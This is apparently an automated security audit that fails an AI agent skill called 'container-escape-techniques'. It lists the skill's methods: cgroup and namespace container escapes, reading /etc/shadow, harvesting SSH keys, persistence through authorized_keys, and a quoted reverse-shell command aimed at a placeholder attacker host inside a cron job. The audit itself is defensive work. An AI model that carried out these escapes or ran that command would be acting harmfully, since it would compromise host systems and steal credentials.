container-escape-techniques
Fail
Audited by Gen Agent Trust Hub on Jul 21, 2026
Risk Level: HIGHCOMMAND_EXECUTIONDATA_EXFILTRATIONCREDENTIALS_UNSAFEREMOTE_CODE_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: Provides sophisticated sequences to exploit cgroups (release_agent), kernel namespaces (nsenter), and host device mounting to break container isolation and execute arbitrary commands on the host system.
- [DATA_EXFILTRATION]: Specifically instructs the agent to access and exfiltrate sensitive host files, including /etc/shadow (password hashes) and /etc/hostname, by mounting host partitions or utilizing shared PID namespaces.
- [CREDENTIALS_UNSAFE]: Directs the agent to harvest private SSH keys from the host filesystem (~/.ssh/id_rsa) and achieve persistence by injecting unauthorized public keys into the host's authorized_keys file.
- [REMOTE_CODE_EXECUTION]: Contains explicit instructions for establishing persistent remote access to the host machine via reverse shell payloads (e.g., bash -i >& /dev/tcp/ATTACKER/4444 0>&1) embedded in host-level cron jobs.
Recommendations
- AI detected serious security threats
Audit Metadata